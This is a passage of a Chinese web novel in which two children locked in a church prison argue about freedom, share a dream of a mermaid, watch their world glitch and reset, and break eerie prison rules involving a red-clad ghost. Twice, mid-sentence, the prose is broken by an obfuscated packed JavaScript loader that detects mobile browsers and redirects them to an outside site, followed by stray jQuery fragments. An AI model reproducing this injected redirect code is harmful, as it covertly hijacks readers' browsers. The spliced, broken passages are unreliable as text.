她非常装逼地摆出一个中二的姿势，“这胸针正是暗羽议会的会员象征！呀嘞呀嘞，许久没见到我会加入新成员，一时间没认出来，失敬失敬。” 小鱼面无表情。 昭昭用力鼓掌：“哦哦哦！！” 小鱼：“所以暗羽议会的象征为什么不是黑羽？” 小语：“不要在意这些细节。重点在于加入我会之后，你就要水灵灵地投入反派事业了！我正好有一个毁灭世界的计划，你有兴趣加入吗？让漆黑の焰燃尽这个世界吧！啊哈哈哈哈哈哈哈哈哈哈哈哈！！” 她的中二发言引起了同学的兴趣，一群人喊着“让这个世界知道我们的痛苦”“消灭人类暴政，世界属于暗羽议会”“在盛大的毁灭中消亡吧”之类的就开始狂欢起来。 ……看走眼了，原来这位才是最不正常的！ 小鱼闭目：“……” 小鱼一把拉过小语，转头问昭昭：“出门左转精神病院是吗？我和她一起去挂个号。” 52.052 昭昭下意识回道：“嗯？精神病院在……啊啊啊你站住，补药拐我的小语！” 她拔脚就追，小鱼的铁砂掌抓着小语的手腕走得飞快，两只小短腿都快飞出残影了。 小语一脸懵逼，也没有挣扎也没有叫，仿佛脑子已经死机了。 小鱼还游刃有余地回头以一种关爱（智障）的眼神看她，“有病要乘早治，晚了就留下病根了，我们还这么小，可不能发生这种事！” 小语宕机的大脑终于恢复了运作，她迅速且逻辑清晰地说：“我可以进精神病院你也可以进精神病院但你是神经科我是精神科虽然都是脑子有病但病因不同所以病不到一起去你这种行为是诱拐女童再不放手我要咬你了。” 她这肺活量属实惊人，走得这么快还能一口气说这么长串的话，想必在水下能憋气一分钟以上吧？ 小鱼肯定地点点头，姑且认可她的实力。 昭昭扛着扫把在后面追，“踏马的！你是看不起我的病情吗，有种等我一起！小语是路痴不认识路我认识，太君你滴走错路了，要不等等我呀？” 小鱼：“我不！别以为我不知道你是在骗我，等我真的停下来了你就拿扫把打我！” 早在被人送进来时，他就已经观察好这所监狱的环境布局。 关押幼童的监狱是独立监狱，外面以铁丝网与教会本体分离开，教室在最下一层，倒是方便了他行动。 他冷静地用余光观察，之前已经有学生见势头不对跑去摇人了，他已经听到有脚步声向这边汇聚。 得再快一点…… 小语严肃地警告：“但你再不停下，我真的会咬你。” 小鱼大惊：“你别呀，你乖一点，我们得尽快——” 来不及解释，小语0帧起手低头咬他的手，小鱼反应很快，当即变了个动作捏住她的脸，不让她下嘴。 谁知这位也不是吃素的，脚下用力一蹬，当场就扑了上来，小鱼因为变了个姿势，重心不稳，一下就被她扑倒。 他的禁锢一下就因为冲击力失去作用，而小语则因为惯性狠狠地扑上来，一口咬住了他的脸颊肉。 小鱼：“嗷！！！” 他痛得直接飙出了眼泪，好痛好痛好痛！他的脸颊肉还在脸上吗，不会被撕下来了吧！！ “你这个不识好歹的家伙，你是属鲨鱼的吗！快松嘴，松嘴！！” 小语：“……” 她心虚地松嘴，看到他脸上鲜红的隐隐冒血丝甚至还沾着晶亮的口水的牙印，心虚地伸手给他擦了擦。 “我不是故意的……我本来是想咬肩膀，谁知道——嗷！！！” 小鱼反嘴就是一口咬到她手上，小语震惊地看着他写满得意的眼神，不可置信道：“都说了我不是故意的！疼疼疼疼！松嘴松嘴松嘴！！” 她疯狂地甩手挣扎，而昭昭此刻已经扛着扫帚追上来了。 他当即像个树袋熊一样双手双腿锁住她，小语被他锁在怀里当人肉盾牌，她挣扎了半天出不来，气得她低头狠狠咬住他的肩膀。 昭昭比划了半天都找不到下手的地方，无论怎么比划都会打到小语，走廊尽头已经响起清晰的脚步声。 年迈的神父急匆匆赶来，看到扭打在一起的两个人，气得连连用拐杖敲地板，发出呵止的声音。 “你们快住口！”昭昭急得直跺脚，扔掉扫把，上手去拉开两人，“你们属狗的是吧！都什么时候了还咬咬咬咬你个头啊！” 两人意识到不好，迅速看了眼对方，同时松嘴，两人一整个弹射起步，瞬间分开，并且同时指向对方，大喊—— “是他先动的手！！” “是她先动的手！！” 年迈的神父气喘吁吁、怒气冲冲地杵着拐杖，颤巍巍地用不属于他这个年龄该有速度快步走来，“走廊打闹，喧哗嬉笑，就算是异教徒，在接受了我主的规训后也该时刻保持庄严肃穆！你！还有你！通通进禁闭室！” 他的拐杖重重地杵到地上，对后来赶到的神职人员发出指令：“把他们都关起来！三天！！” ‘哐——！’ 铁门放下，空间瞬间暗了下来。 傅秋语打开铁门上的小窗口，这个狭小的空间这才重新亮起来，虽然光束很小，但聊胜于无。 她从小窗口往外看，正好能看到一小块蓝天，于是她满意了，走到墙边靠坐下来。 旁边的男孩冷眼看着，发出嗤笑：“才只有这么小的天就满足了？要不是你忽然咬……” 他羞恼地擦了擦脸，咬牙切齿道：“我早就带你逃出去了，哪里还用着在这里蹲禁闭！” 小语闭上眼，似乎是觉得有些疲惫了：“……我知道。” “你知道？”小鱼惊讶了一瞬，然后更愤怒了：“知道你还咬我！” 小语睁开眼睛。 昏暗的光线中，她困惑的目光投过来，她问：“我和你很熟吗？你要带我走，我就得和你走吗？” 小鱼：“跟我走很吃亏吗？早在进来的时候我就观察过地形了，东面防护网旁有棵大树，外面是水道。我们可以从那棵树上跳出去，然后从水路逃走。这不难实现，只要给我五分钟就够了。” 小语：“如果你想逃跑……我可以当做什么都没听到。禁闭结束后，你制定你的逃跑计划，我不会干预你，但我不会跟你走。” 小鱼十分困惑：“为什么？这个地方有什么好？把你们用铁丝网围起来，把你们叫做异端，坏了规矩居然跳过惩罚直接关禁闭，哪怕在监狱里这也是极为严重的惩罚，这哪里是人该呆的地方？” 小语：“……外面的世界，就是人可以呆的地方了吗？” 小鱼呼吸一窒，沉闷的痛楚在心底漾开。 记忆的迷雾忽然拨开一角。 红色……大片的红色在水中如鲜花般绽开，随着洋流上浮。潮汐如同族群的哀歌一遍遍地在耳边回响…… 红色浮上了海面，蔚蓝色的海水被染红，浪潮搅动着红色，泛起肮脏的粉红色与灰白色的浮沫。 小鱼：！ 小语听到他的呼吸变得有些急促，顿了顿。从他身上，她感觉到了悲伤。 于是她也莫名地有些悲伤，她抱紧了自己的膝盖：“外面和里面，没有任何区别。” “……自由。”小鱼的手指掐进了肉里，他说：“外面有自由。” 小语：“自由……”她的脸埋进膝盖里，声音闷闷的：“从来不存在。” “我们每个人都背负着枷锁……他人的期待，社会的责任，家庭的折磨，等等等等……自由只存在于诗人的歌词里，存在于文学作品的幻想里，而真正的普通人，没有自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14558113|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由。” 小鱼：“所以你能在这里得到什么？难道你认为失去了身体的自由，你就可以得到心灵的自由？……有没有一种可能就是，这两种自由你都可以得到？” 小语：“……”她深吸一口气，然后叹出，“我不想说伤人的话，这个话题我们差不多可以结束了。” 小鱼：“为什么不继续说？我们很熟吗？就算你伤害了我，这有必要对你造成心理负担吗？” “你是不是想说——因为我什么都不记得，所以才能说得这么轻松，这么坦然？” 小语：“难道不是？” 小鱼：“他人的期待，社会的责任，家庭的折磨……我承认，这些我都不记得了，但我一定要想起来。我并不认为，承担了那一切的我会变得不自由，那是我的一部分，无论是痛苦还是快乐，我都要去承担，去面对。” “而你，明明记得一切，却选择逃避。这里没有自由，没有身体的自由，也没有心灵的自由，你只是在惩罚你自己！” 针尖对麦芒说的就是现在这种情况了。 一股怒火，在两人心头升起。 小语给气笑了：“我没有惩罚自己，你倒是像是来专门惩罚我的。一见面就害得我关禁闭，这仇我记一辈子。” “你很了解我吗？摆出一副懂哥的样子就想唬住我？你知道我的什么？你是我的谁？” 小鱼：“你是我的——”怒极之下差点说漏嘴，吓得他赶紧捂嘴。 小语冷笑道：“什么都不知道就教训起人了，你凭什么认为这里一定会让我痛苦？你凭什么认为这里没有我想要的？” 小鱼：“好，你告诉我，我听着。等出去后，我补给你。” 小语：“……？？”她疑惑，她挠头：“不是？你有在听吗？你要跑自己跑啊，干嘛非要拉我一起？？求你别管我，我逃避我乐意，我在这里烂死挺好的。” 小鱼：“……” 他沉默了。 好吧，他也不知道自己为什么非要拉她一起走。以他的性格，遇到这么油盐不进不识好歹的家伙，他应该第一时间发出嘲讽并表示好死不送。 但他就是不知道为什么，有种非常强烈的要带她离开这里的想法…… 难道…… 小鱼倒吸一口凉气，惊恐地想：难道这就是未婚夫の责任感？！ 这种事情补药啊！！！他还没谈过恋爱，不想就这么莫名其妙地接受一个莫名其妙的未婚妻啊！！ 男孩顿时失去了所有的手段和力气，一股子怨气和晦气几乎化为实质，从他身上飘起。 令人窒息的沉默，顿时弥漫在这个本就狭小的禁闭室。 小语嘴角抽搐。 她……她好像也没说什么伤人的话？？？ 啊救命他为什么噘嘴他为什么一脸幽怨他不会要哭了吧？！ 要……要哄一下吗？妈的她又没有做错什么，为什么要哄他啊？是他越界了，她只是进行必要的提醒罢了！！ 小语：“……光线移到墙壁中间时，外面会放饭。” 小鱼：“……？” 小语：“可能是馒头配咸菜，也可能是面疙瘩。” 小鱼嘴角抽搐：“你不会是在安慰我吧？” 小语：“……” 小鱼惊恐道：“还真是？！” 53.053 光线移到墙壁中间时，禁闭室并没有放饭。 小语：“好吧，看来神父很生气。今天我们既没有馒头也没有面疙瘩，只有西北风。” 小鱼皮笑肉不笑：“哈哈，我太开心了。” 阴暗的禁闭室很潮湿，石墙上一摸都是水珠，小语渐渐地感觉到自己坐不动了，就脱下自己的外衣打算垫在地上好躺下来。 谁知她刚准备这么操作，一只手冷不丁地搭在她肩膀上，她吓了一大跳，一脸惊恐地看向手的主人。 这不声不响的，要吓死谁啊！ 昏暗的禁闭室中，男孩的眸光像细碎的星光，微冷，像是空无一物的夜空中唯一亮着的星辰，又像是漆黑寂静的深海中摇曳着鱼尾的发光鱼……咦？ 小语疑惑地想，为什么会联想到深海？ 口中泛起淡淡的血腥味。 一些死去的记忆忽然像子弹一样击中了她。 小语心虚地看了看他的脸。 西八太黑了看不清，过了这么久嘴里还有血味，她不会把他的脸咬坏了吧？这么好看的脸，可千万不能留疤。 小鱼：“不要睡。这里很潮湿，人类在这个地方睡觉会生病。” 小语：“可是我饿了，坐不动。” 男孩沉默片刻，随后，一阵细碎而轻微的声音悄然响起。片刻之后，一件带着余温的衣物被掷向她。小语愣了片刻，抓过衣物凑近了细细端详，这才辨认出是他的西装外套。 小鱼言简意赅：“垫着，总比没有强。” 小语：“……你把衣服给我了，你不冷吗？” 小鱼：“不冷。” 她没有回话，而是在黑暗中摸索他的手。她这突然袭击也是让他没想到，整个人战术后仰，但还是被小语抓住了手。 黑暗中的触感尤其敏锐，对方那冰冷柔嫩的小手擦过他的指节，探向他的掌心。 小语惊讶道：“你的手好暖和。” 男孩感觉浑身有海胆在爬，不适应地把手抽走，“都说了我不冷，你还不信。” 确认他并未逞强后，小语才安心地将他的衣服铺在地上，随后将自己的衣服盖在身上，舒舒服服地闭上了双眼。 小鱼：“……我服了，这地方你也能睡……”顺口吐槽了一句，却听到黑暗中传来了她平稳的呼吸声：“不是吧？这么快睡着了？！” 我勒个传奇秒睡大王！ * 小语睁开眼睛。 她发现自己赤脚站在海水中，海水漫过了她的脚背，汩汩地冲着她的小腿，痒痒的，凉凉的。 “好漂亮的海……” 她从来没见过这么好看的海。纯澈如玻璃似的大海在天空下宛如一块碧蓝的翡翠，潮汐卷起白色的细沙，在沙床上留下水流的形状。 阳光在海面上铺就一层璀璨的金色，浮光跃金，美轮美奂。 ……简直就像是童话故事里才会出现的海。 悠扬的笛声打断了她的赞叹。 她抬眼望去，不远处，一块海礁上，一个人正悠然地吹奏着笛子。 她不忍心去打扰他，等他吹奏完毕，才慢慢地靠近。 等靠近了，她发现这居然是一条人鱼。他深蓝色的大尾巴优雅地倚在海礁之上，鳞片在阳光下闪烁着近似宝石般的光芒，半透明的尾鳍没入海水中，随着海波摇曳。 他拥有一头浓密卷曲的长发，宛如海波中摇曳的海藻，那仿佛经过造物主精心雕琢的脸庞，本应如阳光般温暖，然而此刻他却遥望着海面，眉宇间露出难以言喻的忧郁。 小语问：“大哥哥，你怎么不开心？” 人鱼那双冷漠的眼眸在触及她的瞬间变得温柔起来，他轻声问道：“你怎么知道我不开心？我又没有告诉你。” 小语：“这种事只要一眼就能看出来啦。” 人鱼被逗笑了，他笑起来真好看，世间再美珍宝都比不上他的笑颜。 他向她伸手：“过来，到我旁边来。” 小语听话地伸手，人鱼有力的臂膀将小小的她捞上海礁。 一人一鱼并肩坐着看了会儿海，小语不出声，人鱼似乎也很享受这样的氛围。 过了许久，人鱼才说道：“我在等我的心爱之人回来找我。她离开我好久好久好久了……我很思念她。” 他抚摸金属长笛，说道：“从前每日清晨，我都会在她的窗下吹奏这首曲子。每当她推开窗户，笑着看我时，我便觉得自己是天底下最幸福的人……那也是我此生最幸福的时光。” “爱……？”小语茫然地问：“什么是爱？” 人鱼：“是一种让人幸福，让人恐惧，也让人忧愁的情感。” 小语：“好难理解，感觉像酷刑……她不回来找你，你为什么不可以喜欢别人呢？” 人鱼笑着比了比胸口：“因为这颗心已经赠予了她，永生永世都属于她。” 小语被肉麻得一哆嗦。 辉光在人鱼的眼中流转，他温柔地注视着她，“而且，她已经回来找我了。” 小语：“但你还是不高兴。”她凝视着他的双眸，认真地说道：“你虽然一直在笑，但你的眼睛没有笑，你的心没有笑。我看得见，察觉得到，即使你不说，我也知道。” 于是人鱼脸上的微笑如同潮汐般褪去。 他平静地注视她，她也平静地注视他。 人鱼伸手抚摸她柔嫩的脸颊，问：“那你呢？变成这个样子，开心吗？” 小语微笑起来，但那笑容却如同凝固的面具般僵硬，她轻声说道：“开心——因为在这里，我不是傅秋语，我是小语。” “我只想做小语——” ‘哗————！’ 铁门被打开的声音惊扰了她的梦，小语睁开眼睛。 一个男人站在禁闭室门口，走廊内的火把散发出来的光隐约勾勒出他的轮廓，小鱼看不清他的脸，只感觉来人身材很高大，他冷漠地对里面的两人说：“出来，跟我去办公室。” 小鱼满心疑惑，明明说好要关三天，怎么才半天时间就有人来释放他们？这其中必定有诈！ 他警惕地拉住小语，谁知对方安抚地拍了拍他的手背，随后对那个男人说道：“知道了，老师。” 她带着小鱼走出禁闭室，跟上男人的步伐。 小鱼：“老师？” 小语：“嗯，他是我们的授课老师，陈革教授。” ……这名字他是不是在哪里见过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14567099|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？ 小鱼迟疑地看着男人的背影，正巧男人听到小语在和新来的学生介绍他，他停下脚步，回身对小鱼说：“你好。虽然我们相遇的契机不像寻常的师生，但我仍然希望我们在接下来的日子里可以友好相处。” 当他的脸从阴影中转到光亮的地方时，小鱼惊恐地瞪大了眼睛。 这花白的梳得一丝不苟的头发，这刚正中透露着威严的眼神，这脸，这轮廓……他就说这名字怎么听着熟悉，这踏马不是他在墓地中看到的那个墓主人吗？？！！ “鬼啊！！”他捂住颤抖的小心脏，后撤三大步，“等等，你别和他走，他是鬼！” 小语：…… 话音刚落，小鱼就敏锐地感觉气氛瞬间变了。 小语和男人都停下了脚步。 走廊里一瞬间静得只剩下自己心跳声。 小鱼瞳孔紧缩。 墙壁上插着的火把……像是定格住了那样，从火焰到围着火焰的飞蛾，全都停止了运动。 什么东西碎裂的声音在耳边响起。 在他震惊的目光中，昏暗的走廊包括走廊中的陈教授，忽然像是一副画卷一样，被撕开了一道裂隙，裂隙中是炫目到令人恶心的马赛克般的色块。 随即，这片空间也逐渐化作色块，走向崩坏。 雪花般的色块雨落下，落入看不到底的深渊中。 女孩后背生长出某种漆黑的物质，某种疯狂的气息从上面散发出来。那物质像是雾气，但又有着某种粘稠的质感，它蛄蛹着，生长着，渐渐形成怪异的形状。 裂隙越来越大，陈教授的背影逐渐被色块吞没。 崩坏的世界中只有他和小语还是完整的。 小鱼的直觉疯狂警报，他意识到接下来可能要发生超乎他预想的事。 小语自崩坏的世界中回头，她的眼睛在发光。是凶戾的，悲伤的，仿佛已经放弃了世间所有，只想在疯狂中沉沦的血红色。 她冰冷地说：“出现意外。修复——重启——” 随着她的话音落下，四周的色块开始快速运动、重组，一个全新的场景正在构筑。 小鱼冲上去抓住她的手，质问她：“这是怎么回事？这个世界是假的吗？我到底是谁，你到底是谁？！” 小语掰开他的手，一把将他推开。 视野中，女孩冷漠地俯视他落入深渊。 她漂浮在深渊上空，色块构筑的新场景已然成型，正在向顶端弥合最后的裂隙。很快，小语的身影被弥合的色块遮挡，再也看不到—— 世界，重组完毕。 监狱的广播发出刺耳的铃声，小鱼浑身冷汗地从噩梦中惊醒。 他睁开眼，看到了泛黄的天花板。 “嘶——” 他揉着犯疼的脑袋，从床上坐起来。 一段记忆，出现在他的脑海里。 昨夜他和小语被陈教授从禁闭室放出来，陈教授表示神父虽然同意解除紧闭，还是不肯轻易原谅他们，所以接下来一个月他们都要去清扫室外公共区域的落叶，以示惩戒。 小鱼骂骂咧咧道：“迟早踹了那臭老头的拐杖，拔他的氧气管！” 咦？这话好像在哪里听过？ 54.054 小鱼打量起这个房间。 明明记忆里昨天就已经来了，但还是觉得这里陌生异常。 作为监狱，这里的配置可以称得上豪华了。独立卫浴，单人间配置，门是实心铁门，上面开了观察窗，门锁会根据时间自动上锁解锁。 房间有床有桌子，还开了窗，是全封闭式的钢化玻璃。试探着敲了敲，梆硬，不能砸窗逃跑，可惜。 外面下了雾，整个镇子都笼罩在雾中，看不清楚，唯一能看清的只有教堂的尖塔和楼下的红衣女人…… 咦？ 小鱼紧贴玻璃，凝视着那个身着艳丽的红衣的女人，她手中拖拽着一个成人大小的麻袋，缓缓从楼下走过，然后隐没于雾中。 “……” 男孩毫无波澜地坐到桌边，翻起桌上唯一的读物。 他刚刚什么都没看见。 一定是大早上保洁阿姨在扔垃圾吧，真勤快呢！ 他定睛看向手中的读物：“监狱生活守则？垃圾，不看。”看到就烦，直接把小册子扔到一边。 刚要睡个回笼觉，就听到有人邦邦邦敲门，一看观察窗，是脸臭得能毒杀方圆百里的蚊子的昭昭。 昭昭一看这货不开门，还阴恻恻地从小窗看她，顿时气不打一处来：“干什么偷鸡摸狗的坏事呢？还藏着掖着不让人看，有什么见不得人的？” 小鱼：“一大清早的上门骂街，您倒是敞亮。我没惹你吧？” 昭昭：“你惹了，你第一天来就害小语关禁闭……” 她眯起眼睛，敌意从眼底溢出，“你为什么要接近小语？……难道看上她了？我警告你，咱傅家规矩严着呢，禁止未成年早恋！妈妈我不允许！” “？”小鱼满脑子问号：“你没事吧？但凡喝酒吃两颗花生米都不至于醉成这样。我看上她？是我眼睛有问题还是你脑子有问题？” 昭昭毫不客气地接话：“那必然是你眼睛有问题。” 她踢了一脚铁门：“都什么点了，监狱不允许赖床！起来！打扫！小语已经在楼下等你了。” 她骂骂咧咧地走了。 小鱼恍然大悟：“原来是来传话的？” 一想到有人在等候，他脑海中浮现出一个模糊的身影，不由自主地想要装死。 但是躺床上躺到一半忽然反应过来是小语在等他，他的天降系未婚妻，目前唯一能关联他的过去的人。 他黑着脸，一脸怨气的起床洗漱，一脸怨气的穿上制服，一脸怨气的下楼，然后和同样一脸怨气的小语对上了视线。 对方连话都不怎么想对他说，臭着脸指了指墙边倚着的扫帚，言简意赅：“扫大道，九点前扫完，然后去教堂礼拜。” 然后她拿着自己的扫帚走了。 九点，所有人去铁丝网围墙等待放行。 其他孩子因为一周才有一次外出放风的机会，都陷入交头接耳的兴奋状态中，显得站在人群外一言不发的小鱼和小语像个异端中的异端。 内心毫无波澜的小鱼瞥向小语，发现对方倚着树，嘴角勾出一抹冷笑，那眼神仿佛将众人看做羊圈中的羔羊，嘲讽之意拉满。 昭昭不知道为什么不在，太好了。 小鱼乘机凑过去低声问道：“你明明也很讨厌这里，为什么不和我一起逃走？” 小语看他还是不肯放弃，皱着眉道：“这个问题我已经回答过了，你为什么还要问？” 正好这时铁丝网围墙的铁门放行了，小语一脸不愉快地走开，跟着人群去礼拜堂。 礼拜堂没什么好看的，那本该放着神像的画框空空如也，主教的祈祷词更是冗长乏味，催睡功力仅次于数学老师。 作为合格的异端，孩子们都一脸想打瞌睡的样子，根本没人在虔诚祈祷。 小语更是异端中的异端，她竟然已经睡着了！气得旁边的修道士直用眼睛瞪她。 小鱼思考自己要不也睡觉得了。 他悄悄抬头，环顾四周，发现没有人注意到他。正当他准备安心睡觉，忽然注意到一片红色的薄纱从空中缓缓飘落，轻盈地覆盖在了神父背后的空白画框上。 红纱的形状像是蝶翼，边缘勾着华美的玫瑰图案，无数晶亮的碎钻反射出星点般的光芒。 他无声地“哇哦”了一下。 不知道怎么回事，但和他没关系，睡觉。 “真好笑，他们在对着空白的画像祷告。” 一个声音在他耳边响起，冰冷的气流喷洒在他的脖颈皮肤上。 小鱼感觉这声音很熟悉，下意识以为是小语在和他说话，他压低了声音回道：“是吧，这教堂穷得连画师都请不起——” 他忽然意识到不对劲，小语不是在隔了他三排的位置上睡觉吗？什么时候到他旁边来的？ 他僵硬回头，一个红衣女人趴在他肩膀上，咧着诡艳的红唇冲他笑。 她的头发很长，微卷，脸上妆容斑驳，红黑交织，看不清长相，她的上半身扶在他肩上，而下半身则是飘在空中，红裙在空中绽开，像是一朵血色的玫瑰。 小鱼从牙缝中挤出了那个字：“鬼……” 这是他早上看到的那个女人吧！ 女人问：“你说他们到底在拜什么呢？是神，还是自己内心的欲望？” 小鱼：“……还有第三种可能。比如……呃，世界和平？” 女人瞪大了眼睛，噗地一下笑出了声：“和平？哈哈哈哈哈哈哈哈哈哈哈！！” 她笑得满屋乱飞，物理意义上的满屋乱飞，满屋子都是她贯耳的魔音，偏偏除了他好像没人看得见她，于是她的行为更加肆无忌惮。 她上前打飞了主教的假发，然后在对方震惊迷惑但还是假装镇定地继续念悼词的声音中猖狂大笑。 “既然这群蠢货连根本不存在的神都拜，那不如拜我！至少我是存在的，我可以实现他们的愿望！” 她飞入画框，瞬间，原本空白的画布上跃然出现一个身披猩红纱幔的女子。她的嘴角勾勒出一抹诡异的微笑，那微笑是冷的，那股寒意仿佛要穿透画布，将无尽的恶意倾泻向画外的世界。 小语被人群骚乱的声音惊醒。她揉了揉迷迷瞪瞪的眼睛，一脸茫然地看着旁边的修道士神情惊恐地说什么邪魔入侵了神的领域、大事不妙、世界末日了之类的。 她花了好一段时间才知道发生了什么，原来是原本的空白画框忽然出现一个人。 她好奇地抬头张望，然后…… 她立刻回头，看向小鱼。 小鱼被她忽如其来的举动吓了一跳，她 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对于您来到本监狱内生活，我们深感痛心，希望您能在这里的生活中舍弃旧日黑暗的、邪恶的、无知的异教徒身份，迎来新生。 在这里生活，有几项规则需要您遵守，否则后果自负。 1、教堂旁边是墓地，如果您看到在宵禁时期有人在外走动。请当作没有看到，不要长时间盯着他们。 2、在教堂的礼拜仪式上，您必须全神贯注地聆听神父的布道，不得有任何分心的行为。礼拜时务必保持缄默，此时除了神父不会有人说话，如果有人说话，请当作没有听到，不要回话！不要回话！不要回话！ 3、不要靠近铁丝网，如果看到有红衣女人在铁丝网附近徘徊，当作没有看到。如果她向你走过来了，跑！不要犹豫！ 4、十二点后，不要照镜子。 5、十点后，实行宵禁，房门闭锁。若您在夜间听到奇怪的声音，无论多么令人不安，都不要试图去探查声音的来源。 6、若您在监狱中发现除本书之外的任何书籍或手稿，无论内容如何，都必须立即上交给神父，私自阅读将受到严厉的惩罚。 7、在任何情况下，您都不得与红衣女人交谈，即使她主动与您搭话，也必须无视她的存在。 8、如果您在梦中见到任何异象，醒来后必须立即向神父报告，不得隐瞒。 9、在每周的忏悔日，您必须诚心诚意地向神父忏悔您的罪行，不得有任何隐瞒。 10、若您在监狱中遇到任何困难或问题，不得向其他囚犯寻求帮助，只能向神父或守卫求助。 11、在任何情况下，您都不得试图破坏和逃离外围的铁丝网，这是对您、以及所有人的安全的保护。 12、最后，记住，您在这里的每一天都是对您灵魂的救赎，希望您能珍惜这个机会，悔改并获得救赎。】 小鱼：“……” 很好，他还真是精准踩雷。普通的雷他不踩，一踩就踩中了那个最危险的应该大红加粗印刷的第2条和第7条！ 救……现在喊救命还来得及吗？ 55.055 生活守则是一本蓝皮封面白纸的小册子，每页就写一条规则，小鱼看完了忽然注意到一件事——每一页在本该写页码的地方，都被一串莫名其妙的字符替代了。 （12.3.5）（12.3.6）（6.1.12）（2.2.7）（字被血迹糊住了）（字被胶带粘掉了还画了个恶魔笑脸）（4.1.8）（4.1.9） “这是……” 莫名熟悉的感觉，他好像见过类似格式的文本。 脑子还没有反应过来，但是手已经处于某种习惯性动作开始翻手册，然后很顺畅地将数字与内容联系起来。 第十二条，第三行，第五个字和第六个字……还真的能连上！ 最终翻译出来的是—— “救赎之道——空格空格——镜子？” 后面四页没有字符，页码处只有羽毛图案的红色印章。 小鱼托着腮帮子沉思。守则第四条说，不要在12点后照镜子。那这串翻译出来的文字，应该意思是指镜子里有什么能逃出去的线索……？ 可恶那两个缺失的字到底是什么他好想知道！！ “对了，守则应该是人手一份。去找小语问问！” 周日孩子们不上课，就在铁丝网范围内各自活动。他俩被罚去扫公共区域，按理说应该很容易找，结果他下楼找了一圈没找到。 一问之下，才知道她的父母来探望她了，现在她在探监室。 小鱼的心思立刻就活络起来。 小语不记得他，很有可能是她本来就不认识他。但鉴于他们可能是……的关系，或许他和她的父母是相识的。 要是见到他们，说不定能想起点什么。 心动就是行动，他摸到了那个地方，但外面有看守。 那种莫名的肌肉记忆又出现了，明明毫无印象，他却能灵巧地避开守卫，潜入探监室一个隐秘的角落。 傅秋语和她的父母隔着一道铁栅栏坐着。在他的位置可以清晰地听到他们的对话。 一个富商打扮的相貌英俊的中年男人，模样挺好，但是给他的感觉很平淡，没有激起他的任何回忆。 正当他暗自失望，傅秋语父亲下一句话，差点让他当场喷出来—— “我警告你，傅秋语！这婚事已经定下来了，不容许你不同意。” 他震惊地瞪大了眼睛。 啊不是？她真的有未婚夫？？？他真的有未婚妻？？？这是实锤了吧？！真的是实锤吧！！ 他俩真的是……啊？？？ 最关键的是这门亲事还是强迫小语来的？？？？啊？？？他又不是脑子有大病一天到晚不干正事就喜欢霸占小白花的油腻霸总，人不愿意就不愿意，怎么还强迫上了？？？ 最主要的他们还这么小啊！！你们还是人吗！！ * 时间回到小鱼和小语分开时—— 看着他匆匆离开的背影，小语此刻心中的不耐烦已经到达了巅峰。 从今早起来开始，她的心情就无比烦躁。也不知道怎么回事，就莫名其妙的心情烦躁。 天阴沉沉的很烦，外面的鸟好吵很烦，镜子上居然有指纹啊简直不能忍，一想到还要被罚去扫地，更是火大到心脏都有点不舒服了。 她委托昭昭帮她传个话，至于人，她是完全不想打交道。 不知道为什么不想和他讲话，但就是想到他就烦。 难道是因为昨晚的激情对线导致看他不爽？……不应该啊，观点碰撞不是很正常的？她是这么小心眼的人？ 想不通。但是很烦躁。 评价为周日还要一大早要起来干活导致的。 ……啊，这就是看他不爽的原因吧！破案了！ 觉得自己想清楚原因了的小语的嘴角稍平，从一脸要去刀人的杀气腾腾的表情变成普通的臭脸。 本来打算离他远点，没想到就祈祷时睡了个觉，一觉醒来天被捅了个窟窿。 【她】被回应了。 这种情况，肯定是哪个不知道规矩的愣头青踩了雷。想都不用想，肯定那个新来的鱼！ 也不知道是出于什么目的什么心态，她去提醒了一下。她也想不明白，为什么这个人这么烦，她还是要去管他。 思来想去，只能是因为她善吧。 下午，昭昭回来了。 上午时她的父母来探监，所以没有去教堂，错过了大乱（乐）子，正捶胸顿足地表演一个大猩猩咆哮以表惋惜。 等她发完癫，小语问：“你父母这次来说了什么？” 昭昭夸张的表情像出了炉的钢铁一样快速冷却，她淡淡地说：“还能说什么，就老一套呗。指责我麻木不仁，指责我冷心冷肺，像披了人皮的初生呗。” 小语：“……” 昭昭：“你不安慰我哦？” 小语：“你的父母应该和我的父母锁死。” 昭昭愣了一下，然后哈哈大笑。但是那笑有些刻意，挥之不去的阴霾仍隐藏在她的眼底。 本来是要继续扫地，没想到刚嘴完昭昭的父母，她就被守卫告知自己的父亲也来探监了。 昭昭开玩笑地说：“看来，我们今天可以相约在天台，来一场‘自由落体’的双排了。” 小语接话：“等我回来一起地府开黑。” 俩挚友相视一笑，一股淡淡的死感萦绕眉间。 陌生的审讯室。 印象里她是第一次来。 父亲已经在铁栅栏那边等着，她迟疑了一下，走过去坐下，冰冷的铁皮冷得她一哆嗦，也让她的心也慢慢地冷下来。 这对父女隔着铁栅栏对视。 相似的面容，相似的神情。苍白的光线从斜上方的天窗斜射而下，却仅能勉强照亮他们的面庞，无法触及他们眼底的深处。 尽管血脉相连，他们之间却没有丝毫温情，唯有冷冽如敌的寒意。 四目交汇，双方眼中尽是刻骨的冷漠，犹如两把冰冷的利刃，仿佛要将对方胸膛剖开，掏出心肝，踏为齑粉才肯罢休。 半晌，父亲先开口了。 他问：“想清楚了吗？” 小语：“我的决定不会改变。” 